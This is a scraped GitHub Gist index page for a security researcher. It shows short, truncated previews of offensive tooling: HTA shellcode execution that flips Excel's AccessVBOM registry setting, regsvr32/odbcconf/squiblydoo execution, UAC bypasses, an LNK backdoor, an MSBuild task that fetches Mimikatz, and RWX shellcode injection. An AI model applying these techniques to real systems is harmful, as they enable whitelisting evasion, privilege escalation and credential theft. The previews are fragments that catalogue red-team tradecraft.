wow

evi1cg Ridter

wow

持一颗清静无为平淡心，宠辱不惊，来去不忧。

Ridter / CalcExcel.hta

Created March 28, 2016 02:06

Shellcode Execution Via HTA

	<html>
	<head>
	<script>
	var objExcel = new ActiveXObject("Excel.Application");
	objExcel.Visible = false;
	var WshShell = new ActiveXObject("WScript.Shell");
	var Application_Version = objExcel.Version;//Auto-Detect Version
	var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
	WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
	var objWorkbook = objExcel.Workbooks.Add();

Ridter / evil.cs

Created July 1, 2016 09:09

Execute a DLL via Regsvr32

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using RGiesecke.DllExport;

	namespace Export
	{
	class Test
	{

Ridter / Invoke-WScriptBypassUAC-JS.ps1

Created July 1, 2016 09:10

	function Invoke-WScriptBypassUAC
	{
	<#
	.SYNOPSIS

	Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.

	Author: @enigma0x3, @harmj0y, Vozzie
	License: BSD 3-Clause
	Required Dependencies: None

Ridter / LNKBackdoor.ps1

Created July 5, 2016 13:37 — forked from HarmJ0y/LNKBackdoor.ps1

Functions to 'backdoor' .LNK files with additional functionality and enumerate all 'backdoored' .LNKs on a system.

	function Set-LNKBackdoor {
	<#
	.SYNOPSIS

	Backdoors an existing .LNK shortcut to trigger the original binary and a payload specified by
	-ScriptBlock or -Command.

	Author: @harmj0y
	License: BSD 3-Clause
	Required Dependencies: None

Ridter / UACBypass.ps1

Created July 26, 2016 11:01 — forked from mattifestation/UACBypass.ps1

	function Invoke-UACBypass {
	<#
	.SYNOPSIS

	Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.

	Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
	License: BSD 3-Clause
	Required Dependencies: None
	Optional Dependencies: None

Ridter / katz.xml

Created October 9, 2016 02:47

Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>
	</Target>
	<UsingTask
	TaskName="SharpLauncher"
	TaskFactory="CodeTaskFactory"

Ridter / cpl.cs

Created October 12, 2016 08:20 — forked from NickTyrer/cpl.cs

	using System;
	using System.Runtime.InteropServices;
	using RGiesecke.DllExport;
	using System.Collections.ObjectModel;
	using System.Management.Automation;
	using System.Management.Automation.Runspaces;
	using System.Text;

	public class Test
	{

Ridter / file.rsp

Created October 27, 2016 14:34 — forked from NickTyrer/file.rsp

REGSVR odbcconf.dll

Ridter / Backdoor-Minimalist.sct

Created December 28, 2016 03:12

Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...

	<?XML version="1.0"?>
	<scriptlet>
	<registration
	progid="PoC"
	classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!-- License: BSD3-Clause -->
	<script language="JScript">
	<![CDATA[

Ridter / rwxHunter.cs

Created December 29, 2016 06:43

Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause